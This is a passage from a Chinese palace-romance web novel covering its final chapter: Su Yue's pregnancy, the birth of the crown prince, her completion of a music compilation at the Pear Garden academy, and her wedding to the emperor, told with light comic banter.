太后高兴得迸出了两眼泪花,双手合什拜了又拜,“老天爷,好事说来?就来?。高祖爷,你?听见没?有,咱们权家有后了,你?那傻儿子要当爹了!”说罢忙问范骁,“人?呢?这会儿在哪里?” 范骁说:“太医是上梨园请的脉,没?听说大娘子回掖庭。国用?打发人?来?报信,说陛下已经赶往圆璧城了。” 太后说不成,“我也得去看看。” 于是一行人?又急忙赶往梨园,进了官署见他们有说有笑的,苏月真不是个?娇气的女郎,面前摆着乐谱,手上还在安弦。 太后却心疼得紧,“如今是双身?子了,怎么还在忙这个?呀?” 苏月赶紧起身?扶太后坐下,笑道:“消息传得好快,您都听说了。” 太后说可不是,“这么要紧的好信儿,可给你?家里传话?” 苏月被太后一问才?想起来?,赧然道:“我竟忘了,也不着急,得空再说吧。” 太后说:“那哪儿行,快打发人?回去报信。”一面看向傻儿子,“你?就这么傻站着,什么都顾不上了?” 皇帝呢,后继有人?固然高兴,但也有他说不出的哀伤。太医特地吩咐,坐胎期间忌房事,什么都不能干。这对于刚尝到?甜头的人?来?说,不算太好的消息。接下来?他又得寡淡地活着……沾上荤腥也才?两个?月,没?想到?自己老当益壮,一下就让她怀上了。 有什么办法,笑吧,不笑还能哭吗? 太后看着他,奇道:“你?怎么笑得这么难看?脸僵了吗?” 他的心情,也算是无人?在意了。只好把唇角仰得愈发高,搪塞着:“儿不光是高兴,还伴有骄傲。” 太后并不在意他,眼里只有儿媳,抱怨道:“你?这孩子也怪粗心的,怎么有了身?孕都不知道,还是太医请平安脉才?请出来?的。” 苏月笑着说:“我委实没?什么感?觉,能吃能睡,万没?想到?居然有了。” 太后问:“月事缺了席,你?也不知道?” 苏月笑得腼腆,“我糊里糊涂,不记日子。每回来?前有预兆,那时留心就是了。” 太后摇头,“也算是兵来?将挡。那接下来?怎么处置?我看还是回宫中?养胎吧,不能太过操劳,坐稳了胎,往后孩子才?结实。” 不等苏月回答,皇帝就接了话,“她是操心的命,哪里闲得住。要是让她躺在掖庭,她怕是要急出病来?,不如继续留在梨园主持大局,多多歇着就是了。” 太后听得直叹气,“你?们早就商量好了,只管来?糊弄我吧。” 年轻人?的想法,太后有时候确实闹不清。她能做的就是尽力多关照,每日让人?变着花样炖些滋补汤送来?,日日打听一下苏月的境况。 苏月呢,从小身?底子好,即便是怀了身?孕,对她来?说也没?有任何妨碍。别人?会孕吐,会嗜睡,这些症候她一样都没?有,反倒是胃口变得很好,太后每回差珍珠傅姆送来?的汤,她都痛痛快快喝完了。 看得傅姆欢喜,“这孩子,将来?必定是个?大个?儿,长得壮壮的,像座小山。” 苏月笑道:“万一是个?小女郎,长得像山可不妙。” 傅姆说不会,“我看人?怀孕的身?形,一看一个?准,必是小皇子无疑。” 反正不论是公主还是皇子,都好,她都喜欢。 不过自打她有孕之?后,园内的事物确实管得少了,颜在他们分担了大半,几乎没?有什么大事需要她操心。她每日就是去督察大乐堂练曲,专心收集她的《音声六十四部》,整理前朝遗留 下来?的乐谱,再把它们重新汇总,古曲今用?。 她在梨园很安定,皇帝就得费神了,来?来?回回地赶场,游走在内庭与梨园之?间。 晚间他留宿,他们像寻常夫妻那样,没?有历代帝后的排场,什么床榻之?外、寝室之?外,跪上几个?值夜的内侍或宫女。苏月要喝水,要起夜,都是权大尽心照顾。有时她觉得很不好意思?,他白天公务忙碌,夜里怎么能让他再伺候自己。 可是每当她感?激之?情溢于言表,他就把眼一横,“我的妻儿我不心疼,谁心疼?我可告诉你?,我儿从坐胎起,就得知道有我这个?阿爹,等他再长大些,我还要讲笑话给他听。” 他老说讲笑话,仿佛他是个?笑话篓子,满肚子的风趣没?余地展露。 苏月决定给他一个?机会表现?,“你?讲一个?,孩子能听见。” 皇帝就开始眉飞色舞,“说有只猴子死了,见了阎王,央求投胎做人?。阎王说‘要做人?,须得脱去身?上的毛发’,结果夜叉刚给它拔了一根,它就痛不可当,阎王耻笑,‘你?一毛不拔,如何做人?’?”他说完,自己乐不可支,还要问她,“你?说,是不是很好笑?” 苏月果然笑了,但不是被他逗笑的,是被这个?笑话冷笑的。 “你?以后在臣子面前,可别说这种笑话,人?家会以为?你?意有所指,以为?你?在存心敲打。”边说边唉呀了声,“我腰上酸得很,快给我捏两下。” 他尽心地侍奉,边捏边询问,问手法怎么样,力道得不得当。 苏月闭着眼睛“嗯”了声,一手覆在他的手上轻抚,“这阵子让你?两头奔忙,辛苦你?了。” 他说不辛苦,“我每日能见到?你?,就很高兴了。看着这肚子一日一日大起来?,来?回奔忙也甘之?如饴。还有最要紧的,我得让你?知道我没?有胡来?,夜夜陪在你?身?边,你?不也放心么。” 这话倒是说进了苏月心坎里,她确实也有过担心,自己这么快就怀上了,肉还没?吃上几口的大郎又要改吃素,由奢入俭难,不知他内心会不会骚动不安。 结果他不辞辛苦,这么一来?就打消了她的疑虑,她心里一欢喜,勾着他的脖子拽向自己。 大郎如今长心眼了,没?敢像以前一样压满怀,两臂小心地撑住,给肚子留出了足够的空间,一径念叨着,“不可孟浪,不可孟浪啊……” 不过那份心猿意马还是没?能把持住,问苏月:“三个?月满了没?有?我觉得太医有些小题大做,头三个?月不能同房,等他诊出脉相?来?的时候,不都已经两个?月了吗。这两个?月你?我无所顾忌,该干的都没?少干,也没?见孩子怎么样。” 苏月存心逗他,“太医的意思?,莫不是诊出后三个?月吧!” 皇帝说绝对不可能,“我岂是那么好糊弄的人?。哪个?太医这么说,拉出去砍了,定是庸医!” 苏月笑他急色,这阵子陛下忍得辛苦,算算时间,孩子约摸有四个?月了,或者……也许……小心些…… 陛下依言行事了,虽然要顾及的方面有很多,但温情缱绻,彼此也甚是得趣。 事后皇帝自觉表现?还可以,趁着她心情不错的时候,与她打商量,“这阵子还能留在这里,等到?要待产的时候,可一定得回掖庭,总不能把孩子生在梨园,你?说是不是?” 苏月自然也有考量,安抚道放心,“我心里有数,不可能让你?高枕无忧,我一个?人?偷着生孩子。” 说起这个?,他就开始发愁,“听说产子很是艰难啊,会疼得死去活来?,一脚踏进了鬼门?关。” 苏月说可不么,“没?有一个?孩子是白得的,女子得受多大的罪,你?们男人?哪里知道。” 他紧紧握住她的手,“我以后一定加倍对你?好,也会教?导孩子,将来?孝顺阿娘。” 苏月偏头瞧他,孔武的身?型,肉皮上深深浅浅的伤痕,再配上这愁容满面的脸……看上去实在有点好笑。 她嗤地一声栽倒在被褥间,他觉得很莫名,“你?笑什么?” 苏月含含糊糊应他,“没?什么、没?什么……我是高兴。丈夫疼爱,儿女孝顺,我这一辈子尽是来?享福的。” 他说对,“你?上辈子积德行善,这辈子遇见了我。这辈子你?把梨园子弟都拖出了火坑,又是好大的功德,下辈子还遇见我。” 苏月惊诧,“天爷,我也没?做错什么呀。” 他一听可不干了,“你?这是什么意思??我不好吗?哪里不好?” 自信心大受打击,这可不是小事。苏月忙改了口风,“我逗你?呢,这么好的郎子,怎能轻易放过。下辈子你?若是娶了别人?,我不得哭死吗。”手脚并用?巴结住他,“不成,你?是我的,我绝不把你?拱手让人?。” 如此他才?高兴起来?,得意地说:“你?尝过了我,还能另选他人??你?这么机灵,又不傻。” 是吧,这话虽然过于自负,但到?底也算大实话。 苏月偎在他怀里,后来?做了个?很长的梦,梦见春暖花开,他们两个?带着好多孩子,在郊野放风筝。她那时十分惊讶,怎么会有这么多,数来?数去,男男女女,数也数不清。醒来?之?后还在大喘气,这辈子不会真的生那么多吧,这要生到?什么时候才?算完! 皇帝则安慰她,定是子孙绵延,无穷无尽的意思?,“大梁少说也得存续三百年,这是吉兆啊!” 如此悬着的心才?放回肚子里。苏月又与他重申了一遍,“我不生那么多。” 皇帝点头,“你?说几个?就几个?,哪天觉得够了,咱们就封肚。” 不过怀上了孩子,苏月分明觉得身?边的人?都很担忧,爹娘隔三差五就要来?看她一次,叮嘱她千万不能累着,千万不能不当一回事。 她嘴上答应,该忙的事一样都没?有落下,其实只要身?体承受得住,倒也不必如此如临大敌。她自己知道小心,等到?生产的日子差不多时,她的音声六十四部已经收集了四十三部。乐府又来?了个?极有天赋的乐师,曲调编得好,产出也高。她回到?掖庭的时候很放心,反正自己的目标有希望完成,可不是随意的凑合,务必取其精华,流传后世也不磕碜。 说回待产的这段时间,倒是很清闲,很松散。皇帝处理公务或是上朝了,她就去太后宫里下棋种花。太后是个?很有内秀的人?,下得一手好棋,自己跟着她,棋术得到?很大提升。还有花果树木的嫁接,太后说想试一试,能不能让梨树上长出橘子来?。 这日太后又打起了海棠树的主意,“果子长得像林檎,把林檎的枝杆移植过来?,我看可行。” 苏月说那就试试,让人?去取刻刀。话音方落忽然发觉不太对劲,急忙唤阿娘,“我要生了。” 这下子鸡飞狗跳,还好太后镇定,说别慌,让人?把她抬进早就准备好的产房,一面命人?去给皇帝报信。 皇帝彼时正视朝,听宣抚使回禀岭南的情况。万里上前小声通传,他一下子乱了方寸,急得站起又坐下,把一众臣僚弄得面面相?觑,不知发生了什么大事。 反正这朝会定是继续不下去了,他在众人?不解的凝视中?站起身?,按捺住激动的情绪下令:“不曾奏禀的政务具本递交,由门?下省与尚书省代为?处置。皇后要生了,朕暂且顾不上这些……散朝。” 众臣预备领命的时候,皇帝早就跑得不见踪影了。 余下就是生男生女的问题,皇帝在产房外提心吊胆,臣工们聚在归义门?外等消息。 宰相?说:“定能一举得男。” 尚书令问:“宰辅怎么知道?” 宰相?深沉道:“陛下同我提及,前日做了个?梦,梦见以前安葬过的路边小童对他说,要来?做他的儿子。” 众人?感?慨良多,“想是要来?报恩啊。” 当然也有人?很没?情趣,“胎梦不是应当女子做吗,陛下是男子,男子梦的准不准?” 宰相?翻了个?白眼,“为?何不准,那可是真龙天子!” 只不过生头胎,时间着实熬得漫长,从早晨一直熬到?将近傍晚。宰相?腰疼得有些站不住了,正想找个?地方坐下,忽然听见门?内有人?边跑边喊“生了、生了”。 众人?立刻迎上前,急急追问:“生的是男孩还是女孩?” 内侍笑着告诉众人?:“是位皇子,哭声洪亮,小身?板很是结实,足有七斤八两。” 第83章【终章】 第83章 终章 众臣工都松了口气, 这可不?单单是生了个孩子这么?简单,关乎大梁国祚,更关乎社稷稳定啊。 而产房内呢, 老来得子的皇帝蹲在苏月榻前, 额头杵着被褥, 一句话?都说不?出来。 辛苦了半日的苏月终于慢慢缓过?来了,偏头叫了声大郎, “你怎么?了?” 皇帝半晌才抬起头,红红的一双眼, 颤声说:“我对不?起你。” 苏月怔了下, 复又?失笑,“对不?起什么??孩子有一半是我的,也?不?全是为你生的。” 他说知道, “我那?一半, 也?让我觉得对不?起你。” 苏月无奈地?摸了摸他的脸, 自己生孩子,自己没觉得不?平, 他怎么?还委屈上了。 太后和阿爹阿娘,抱着孩子看了又?看,太后抹泪不?止, “我们权家有后了呢, 这么?好的小子, 多结实!” 一高兴送来给苏月再看看,苏月瞧着这张陌生的小脸,看了半天也?没分?辩出他长得像谁。 反正现在丑点不?要?紧, 据说会越养越好看的。眼下首要?一点是名字,做阿爹的已经纠结了好几个月, 直到她要?生了,也?没见他作出决断。 苏月问:“想好没有,叫什么??” 皇帝方才下了决心,“我想过?要?他雄才伟略,要?他统天御宇,可在你苦苦生他的时候,我只想让老天保佑你们母子平安。这孩子就叫权佑吧,小字清诲。” 苏月喃喃念着这名字,问他:“出处呢?” 皇帝道:“承前王之?清诲,曰天道之?无亲。澄得一以?作鉴,恒辅善而佑仁。等他满月的那?日,我打算改年号恒仁,用以?庆贺孩子的出生。” 苏月嗟叹:“没想到你颇为用心,连年号都想好了。” 他伏在她枕边轻轻“嗯”了声,“苏月,你还疼么??你先前喊成那?样,我在外面心都要?碎了。” 他说着红了眼眶,看得出是当真?心疼她。 若说身上疼不?疼,那?是肯定的呀,这么?大个肉团生出来,是简单的事吗。可这份苦,好像吃得并不?懊悔,她生孩子的时候,满心都是希望,是有奔头的。她就想同这在她肚子里住了九个月的孩子见一面,想看他长得什么?模样,眉眼更像谁。 太后和阿娘抱着他来给她看,她累得头昏眼花,已经看不?明白了。据说眉眼像权大,鼻子和嘴像她,这么?一拼凑,应该丑不?到哪里去。 不?过?她实在睁不?开眼了,只觉一辈子积攒的力气都用光了,轻声对他说:“我有些累,想睡一会儿,你别走,要?守着我啊。” 她从被子底下探出手,向他摆动了一下。他立刻把她的手包进掌心里,温声道:“你睡吧,我在这里守着你,保管一睁开眼,立刻就看见我。” 她微微点了下头,昏昏然?,睡了很久。及到后半夜醒来,见他还在床前坐着,一手握着她的,一手翻阅门下省送来的奏疏。 如此这般,心里是安定的。苏月没有说话?,唇角慢慢仰了起来。 他不?时会抬眼看看她,忽然?发?现她醒了,忙问:“饿了吧?阿娘给你准备了露浆鱼羹,你吃过?了接着睡,过?两日就恢复元气了。” 苏月问:“清诲呢?乳娘抱走了吗?” 皇帝说是,“就在西寝。怕有动静闹得你睡不?好,阿娘和岳母大人都在那?儿看顾着呢。” 苏月哦了声,支起身子想坐,边上的傅姆说不?能动,“且仰着用膳吧,等伤处长好了才能坐起身。” 苏月只好侧着身子,等皇帝喂她。这人哆哆嗦嗦的,手法不?娴熟,但已经在尽他所?能习学?了。 好不?容易喂完,又?伺候她擦牙净口,苏月道:“你也?累坏了吧?晚间不?用守着我,去外寝睡吧。” 他说不?,“我让他们搬小榻进来,你有什么?事可以?叫我。” 苏月说不?用,“有这么?多人伺候呢,泰娘她们都在,用不?上你。” 他仍是摇头,“女?郎刚生产完,身上的阳气最弱。有我在这里坐镇,能斩妖除魔。” 苏月失笑,“你哪里听来的歪理邪说?” 他却言之?凿凿,“以?前攻下上郡后,入城安抚百姓,在医馆听见那?些妇人说的。” 所?以?他就记下了,那?时候便在想着将来娶了辜苏月,要?这么?保护她吧! 唉,真?是个纯良又?一根筋的汉子啊。 苏月便没有推辞,容他在床前设了便榻。果真?他听来的民俗有些说头,她恍惚间做了噩梦,梦见有很多黑乎乎的人影追赶她。她吓得逃窜,但跑不?快,紧要?关头一只身披金甲的大鸟从天而降,紧紧把她护在羽翼下。黑影退散了,她感激地?抬头,发?现这大鸟长了大郎的脸,这一看不?要?紧,彻底把她吓清醒了。 总之?一夜醒了睡,睡不?多会儿又?醒,出了很多汗,把被褥都浸湿了。阿娘说这是人太虚,生个孩子,把力气全生空了,得慢慢进补,再一点点补回来。 不?过?她的月子做得极好,什么?都不?用操心,人养得白嫩,几乎能掐出水来。所以她开始跃跃欲试了,孩子虽有乳母,但她自己也?想亲自喂养,可每次都嘬得生疼,以?至于看见那张小嘴开合,心里就有点怕。 但是小小的权佑,实在长得太好看,太可爱了。糯米做成的娃娃,戴着早就预备好的虎头帽,简直男生女相。他想喝奶了不?吵也?不?闹,撅着小嘴作势吮吸。棉软的小嘴,嫣红的小舌头,卷起来嘬着,一下下撞进人心坎里。 苏月为了多看一会儿,也?不?着急喂他,趴在摇篮边上啧啧:“快看我儿,他多有意思,多可人疼呀!” 皇帝从外面进来,见儿子这么?多暗示,做娘的无动于衷,当即心疼不?已,“你再不?喂,朕就要?下奶了。” 好在左右见他一到,全都退出去了,要?不?然这番惊世骇俗的言论定会惊着众人的。 苏月嫌弃他,“慈父多败儿,刚吃了不?多时,他一撅嘴就喂,岂不?是乱了规矩吗。” 皇帝道:“乱什么?规矩,饭还不?是想吃就吃吗。再说这么?小的孩子,你让他守什么?规矩。”边说边俯身抱起来,搂在怀里轻轻摇晃,“阿娘不?心疼,阿爹可心疼得慌啊。” 苏月无奈地?叹息,转身上一边看她的曲谱去了。 皇帝抱着孩子在地?心转圈,复又?告诉她,“我今日与两省商议过?了,清诲满月那?日册封太子,大赦天下。” 苏月迟疑了下,“他才这么?点大,就册封太子,是不?是太早了?” 他说不?早,“他是嫡长,皇位早晚是他的,早些定下了省心。”说着垂眼打量孩子,轻声细语道,“阿爹就盼着我儿赶快长大监国,阿爹就能放心和阿娘闲坐庭院了。算算时候,我再等十六年,十六岁想来已经历练得差不?多了,足可独当一面。” 总之?他怎么?决定都好,苏月横竖是不?会反对的。 那?么?接下来得谈谈更要?紧的事了,皇帝说:“你看,儿子都生了,莫如把我也?笑纳了吧,预备成婚怎么?样?” 苏月想了想,还是摇头,“再等我一阵子。” “可是……”他失望地?说,“我们不?是有儿子了吗?” 苏月狠下心道:“我答应先生孩子,是为了让你后继有人,先安臣僚们的心,可没说一生孩子,就要?围着孩子打转。清诲不?是有你和阿娘吗,我阿爹和阿娘也?常来探望,跟前还有那?么?多伺候的人,不?会亏待他的。” 他惨然?又?不?屈,“孩子要?阿娘,我也?要?娘子啊。” “那?要?是成了婚,我还能去梨园吗?梨园中可有四?五百男乐师,皇后缠绵梨园,你不?在乎,众臣不?质疑吗?”她笑了笑,“‘大娘子’受的约束,可比‘皇后’小多了。况且我有孕期间,太乐令和内令他们把梨园管理得很好,我想着再扶植一段时间,兴许就能抽身了。” 他又?燃起了希望,“真?的?说话?算话??” 她说算话?呀,“其实我也?想过?,不?回梨园去了,若是园中有事,再让他们回禀我。可是我又?怕,怕自己一心扑在清诲身上,以?前立下的志向就都不?算数了。到最后不?想过?问园中事物、不?关心新曲的编演、不?想改革,也?不?再执着于《音声六十四?部》,彻底变成了一个相夫教子的庸常妇人……想想真?可怕。” 她说这些的时候,眉头紧拧起来,看得出也?很彷徨。没有理想的人不?懂她的忧心,更不?懂得惰性的可怕。要?做成一件事,就得心无旁骛,你若想兼顾,最后可能什么?都做不?好,什么?都半途而废。 皇帝叹了口气,“罢,我就挂靠在儿子身上,你总不?见得去父留子吧。” 两个人约定好,等权佑三个月大时,苏月再回梨园,忙她没有完成的事。 就是断奶对她来说不?容易,孩子倒是有乳母继续喂养,自己却得使劲憋回去。有时候很后悔,何必自讨苦吃呢,但再一想,这也?是人生必经的阶段,尝试过?,什么?都没落下,就没有遗憾了。 好在她是个定下目标,就坚定不?移向前进发?的人。等再回到梨园,各部原先的曲风大刀阔斧进行了改革,很多小调流传进民间,让前朝时期一度贫瘠的礼乐,重新焕发?了勃勃生机。 忙虽忙,和孩子的相处倒也?并未减少,清诲还小的时候,她几乎隔日就往徽猷殿跑。等到他八个月时,皇帝便带他去官舍,一干伺候的人全带上,官舍内僻出专门的地?方,既可就近看孩子,又?不?耽误他们两个人团聚。 苏月有时修编曲目,会钻进牛角尖出不?来,所?幸有个精通音律的郎子,在一旁陪她和弦奏乐,一遍又?一遍地?尝试。他有他的见解,忽然?的神来一笔,会开辟出她从未想过?的明路,让打结的脑子豁然?开朗。 她高兴了,搂住他的脖子,在他脸上印上密密麻麻的口脂,告诉他一个好消息,“我前阵子得了一个孤本,上面有十八首上古遗音。这些曲子已经试奏过?了一遍,只要?稍加修正,就可以?拿来用。” 皇帝惊喜不?已,“那?你的《音声六十四?部》有望编成了?” 她点了点头,“忽然?多出这些曲子,比之?前预计的时间,起码提前两年。” 皇帝几乎要?感动流泪,上苍没有负他,他挖空心思从四?处搜罗来的古曲谱,还得以?不?经意的形式送到她手上,天知道他花了多少力气。 可是他不?说,男子汉不?能什么?都放在口头上,要?沉得住气,才显得有深度,厚重可靠。 苏月那?双眼睛停留在他脸上,微微含着笑,缓声说:“这两个月我慢慢放了手,发?现就算我不?在,她们也?有很多好点子,能保证梨园曲目常演常新。” 皇帝的眼眸骤然?明亮,不?敢相信好预兆来了,只是沉着地?点点头。 苏月又?说:“我这两日泛酸水,吃不?下东西了。” 他一听急了,“没有召见太医吗?为什么?,可是吃坏了肚子?” 她摇了摇头,“肚子没有坏,好着呢。这胎和怀清诲时不?一样,若是没料错,应当是个小女?郎。” 权大彻底呆住了,颤抖的手在她肚子上摸了好几下,“小女?郎……里面有个小女?郎啊,我有女?儿了?” 苏月说是啊,崴过?身子枕在他腿上,“你说的,将来要?十里红妆嫁女?郎,我怎么?能不?满足你这老阿爹的希望。” 他欢喜不?已,搓着手道:“小女?郎,一定和你一样聪慧,一样漂亮。” 这个孩子来得也?确实是时候,生清诲那?会儿她要?忙的事没有忙完,也?不?能确定梨园交到小姐妹手上,她们能不?能完全胜任。所?以?这大半年来她一直在观察,一直在试探,等到确认接班人都调理出来了,她总算能够功成身退了。毕竟这回不?能不?给权大交代了,这种事有一就行了,不?能有二?有三。 所?以?她告诉他,“我要?回掖庭,当你的皇后了。” 听得皇帝直愣神,“你是认真?的,没同我开玩笑吧?” 苏月说认真?,“我是个见好就收的人,总让你这么?没名没分?的,我心里也?过?意不?去。” 听完了她这番话?,他仰头无声地?笑起来,那?模样真?有些瘆人,最后大喊一声:“我总算等到这一天了!” 多少个日日夜夜,既当爹又?当妈,要?说皇帝陛下确实不?容易。苏月心里很感激他,也?只有他,能有这么?大的肚量,放任她按照自己的心意行事。 她的《音声六十四?部》,如今只剩三四?首没有编录,这个不?着急,可以?等乐府交出新的曲目,再慢慢挑选。还有今年的霜降日,含嘉城选拔乐工,大批的应试者蜂拥而入。她那?时站在廊上看着,内心感慨良多,庆幸终于彻底扭转了梨园在世人眼中的固有印象。 如今的梨园之?于爱乐者,就像太学?之?于读书人,不?需要?强行征用,便能吸引乐师们自愿加入。有了新人,会带来更多新的理解和创造,她知道,即便她不?在,梨园也?会越来越辉煌。自己与颜在早前的笑谈成真?了,现在回忆起来,恍如做梦一样。 主意打定了,心里的大石头也?落地?了。皇帝回去准备大婚事宜,苏月把剩下的零星事物处置妥当,她在圆璧城内的使命就算完成了。 四?下望望,熟悉的面孔,熟悉的一草一木,都到了告别的时候。大家站在廊下送别她,明明仍在一座宫城内,心情却莫名有些沉重。 苏月见众人都耷拉着眉眼,不?由笑起来,“我又?升官了,你们不?为我高兴吗,怎么?都愁眉苦脸的?” 云罗说:“虽是升官了,但离我们大家也?越来越远了。你做了皇后,往后想见一面都难,诚如朋友远行,怎么?能不?伤怀。” 苏月便安抚大家,“朝中有庆典时我都在,你们要?找我也?并不?难。梨园终究是要?托付你们的,我不?在,你们反倒可以?放开手脚大胆施为。咱们都振作起来,各奔前程吧。” 是呀,轰轰烈烈地?各奔前程。虽然?开局并不?理想,每个人都经历了各种各样的痛苦哀伤,但如今脚下的路变得越来越宽坦,小人物也?可以?有大前程了。 从方诸门出来,皇帝在她的专属巷道里等着她。两个人牵着手南行,又?是快入冬的时节了,挨着廊道外的那?一溜走,太阳照在身上暖洋洋地?。 皇帝转头看她,手上握得紧紧的,“女?郎,你以?后夜夜会同我睡在一起,再也?不?会抛下我了吧?” 苏月讥嘲:“满脑子光想着一起睡觉?” 他“嗯”了声,“我最大的希望,就是日夜和你在一起,一起吃饭,一起睡觉。” 苏月发?笑,快到而立之?年的人了,依旧满脑子都是情情爱爱。 “过?去没有遇见我的日子,你是怎么?过?的?”她笑着说,“没人陪你吃饭,没人陪你睡觉,你孤零零的,甚是可怜。” 他迎着日光,慢慢眯起了眼,“可不?就是很可怜吗。但我知道,等我功成名就时,一定能让家书上的那?位女?郎陪我到终老。果然?,多年的积淀,就是为了等待与你重逢啊。” 苏月很感动,“大郎,你愈发?会谈情说爱了。” 他暧昧地?冲她眨眨眼,“所?以?你知道了吧,我是厚积而薄发?,定能一辈子让你幸福。” 惹得她揍了他两下,这人不?说些不?正经的话?,好像一天就过?得不?美满似的。 不?过?若论心迹,苏月还是很喜欢他对她永远一副眼馋肚饱的样子,让她觉得自己魅力无穷。这场迟来的大婚,虽然?颠覆了所?有人对婚嫁的认知,但于她来说不?早不?晚正好。不?该是婚姻催赶着她,是她觉得自己需要?婚姻时,才去选择完成它。 辜家呢,嫁女?是照着姑苏的老习惯来的。 亲迎当天,辜祈年最后一次清点陪嫁的抬礼,足足二?百零八抬,把跟在屁股后头的三房都看傻了。 辜颂年说:“阿兄,你是打算把家底搬空了,送女?儿出嫁?” 辜祈年斜了他一眼,“管好你自家。” “不?是……”辜颂年道,“她嫁的是皇帝,又?不?是小门小户,还要?靠娘家接济过?日子吗?” 对于这种两眼只盯着脚尖的人,和他多解释一句都是浪费唾沫。辜祈年转身走开了,三房还是百思不?得其解,跟在后面啰啰嗦嗦,说他打肿脸充胖子。 辜祈年嫌他多嘴,回头瞪了他一眼,“让你帮忙,不?是让你提意见的。你呀,活了五十多,活在狗身上了,正因为嫁的是帝王家,才愈发?不?能被人看扁,懂不?懂!我家虽是商户出身,但女?儿就得有娘家给的底气,不?管她嫁皇帝还是寻常百姓,这些嫁妆一早就给她预备下了,少一抬都不?成。” 辜颂年被骂得讪讪摸鼻子,和妻子数落长兄好大喜功,石头往山上搬。 三夫人也?不?耐烦他,“别人家的事,就你话?多!有这闲心,不?如操心操心自家女?儿,苏意又?滑胎了,不?知该如何是好……还有苏情,上回我在街市上看见她,打扮得妖精似的,见了我也?不?打招呼,你说气人不?气人!” 辜颂年无能为力,最后劝妻子,“儿孙自有儿孙福,过?好你的浪日子就是了。” 嘴里刚说完,抬嫁妆的杠夫进来了,一对对很快站好了位置,看样子年轻力壮,不?像家里的家仆。再仔细一打量,穿的是官靴,原来都是官家调遣过?来的禁军啊。 辜颂年忙扯了扯妻子,“陛下来亲迎了。” 夫妇俩前脚跑出小院,后脚一抬抬的嫁妆鱼贯而出,把他们冲到了一旁。等到他们赶至大门外时,浩荡的队伍早就走出去半里远了,只有身旁的陪嫁接连往外运送,好像总也?走不?完似的。 那?厢坐在金根车里的苏月挺了挺腰,早知道大婚不?是件省力的事,明明礼节已经尽可能缩减了,也?还是让她腰酸背痛。 皇后入主掖庭,原本有一套专门的流程,从端门穿过?南宫,接受百官朝拜后,还要?入乾阳殿受礼,有冗长的封后大典要?进行。但太后同主持大典的宰相和尚书等人知会过?了,说皇后身上不?便,一切化繁就简。宣读了封后诏书,交托了凤印和金册,受封就算完成了吧。 臣僚们是能够体谅的,太后怎么?吩咐怎么?承办就是了。毕竟陛下娶个亲是真?不?容易,太子都能站了,陛下才好不?容易争取到自己应得的名分?。 早前朝堂上言官曾催促,劝说陛下不?可始乱终弃,梨园使育有皇太子,陛下应当对梨园使有交代。那?时陛下满脸惆怅,无奈地?对言官们表示,让他们去劝梨园使,一时让所?有人嗒然?了。 所?以?大礼能成就行,不?要?在乎那?些细节。毕竟当初陛下为了证明皇太子是梨园使所?生,只好把婚书掏出来作为凭证,细想一下,简直心酸。为了顾全皇后的凤体,能省的步骤通通省略掉,挑重要?的几句话?念完了,就把帝后送进洞房吧。 好在皇帝不?必像普通新郎官那?样,揭完了盖头还得出去应付宾客。宫中的婚宴由三公九卿们代为周全,他可以?留在洞房里照顾他的皇后。 苏月坐在床上翻看她的金册和凤印,然?后取出皇帝给她的那?枚小印章,并排放在了一起。 坐在一旁的皇帝垂眼看,“你我定情的东西并不?多,结果你居然?还漏了一样。” 苏月说没有啊,“这枚小印不?是在吗,我时刻带在身上。” “还有那?个香囊呢?就是你塞在胸脯里的那?个。” 苏月直翻眼,“这个还要?翻小账吗,眼下又?不?是端午。” 可他却从袖袋里掏出了五色丝和簪花编成的手串,放到她面前说:“有关你的东西,我都是随身携带,哪像你这么?没良心!”复又?取出那?七枚铜钱,往前推了推,“看来我永远集不?满十枚了,有些遗憾,但也?不?要?紧,反正我的愿望已经实 现了。” 苏月打量这些铜钱,用红色的丝线穿着,收纳得井井有条。 她笑着问他,“你的愿望,就是娶我为妻吗?” 他说是啊,“娶你,生几个孩子,扶植儿子成器,风光把女?儿嫁出去。然?后我们一起活到白发?苍苍,等我很老的时候,你还在我身旁,我就觉得这辈子没有遗憾了。” 一早就说过?,他不?会说好听的不?要?紧,真?诚最为打动人心。 她婚前想好的,不?能在新婚夜掉眼泪,一定要?笑着。可听到他的话?,她的鼻子就发?酸,“女?儿还在肚子里,你就预备送她出阁了,想得真?长远。” 他很是得意,“因为早在第一次见到你时,就已经把这辈子规划好了。不?过?我得先给你一个下马威,这女?郎和她全家都看不?上我,我得拿出帝王的威严来,让她知道什么?叫君心如铁,深不?可测。我要?对她强取豪夺,先夺她的身,再夺她的心。接下来让她爱我彻骨,再冷落她,让她心如刀绞,痛不?欲生。再复宠,再冷落,再移情别恋,让她知道我不?是非她不?可。” 苏月起先的感动化作了一蓬烟,看怪物一样看着他,“没想到你的想法这么?多,够梨园八月十五编成一场燕乐大曲了。然?后呢?” 这个然?后问得很好,他的嚣张气焰一下熄灭了,尴尬道:“然?后没有成功,你不?是都知道了吗。见你冷,我就想脱下身上的斗篷给你,看见你冻得脸色发?白,我就忍不?住心疼。” 又?来了,又?开始煽情! 苏月吸了吸鼻子,垂眼嘟囔:“可见我是个多招人喜欢的女?郎,别说你,升平街上的少年郎君都倾慕我。” 多少人钦慕她都构不?成威胁,只能证明他足够优秀,脱颖而出了。 当然?他也?很愿意听她吹捧,打算给她一个机会,“那?你第一次见到我,心里怎么?想?想过?就此向我示好,依附我,跟着我吃香的喝辣的吗?” 苏月回忆了下,托腮道:“我看见一个故作深沉的大个子走进帐中,一副神气活现的模样。自报家门,说自己是开国皇帝的时候,那?股小人得志真?是跃然?纸上。那?时我飞快瞄了他一眼,瞄前还曾胆战心惊,瞄后就没有这种感觉了。” 皇帝问为什么?,“你也?对我一见钟情了?” 苏月尴尬地?笑了笑,“倒也?不?是,我瞄见他的鞋底刻意加厚了半分?,鬓角抹了头油,眉梢有描过?的痕迹,要?是没料错,脸上还擦过?一点粉。” 她说完,身旁的人就崩溃了,“辜苏月,你辱我!” 苏月吓了一跳,忙靠过?去搂住他的脑袋安抚,“好了好了,虽然?你娇柔造作,但还是郎艳独绝。你是我见过?最俊俏的男子,尤其你的嘴长得好看,天生适合亲吻。” 说亲就亲,撅起来,响亮地?对嘬了一下。 这时听见廊上有隐约的说话?声传来,说下雪了。苏月忙趿上软鞋下床,推开窗看,红墙碧瓦的远景,衬出大片大片飞坠的雪花。 她还记得离开姑苏前,阿妹引她看后院的麦田,月下的麦苗刺破积雪,绵延向远方。那?时看见的不?光是麦苗,还有希望。 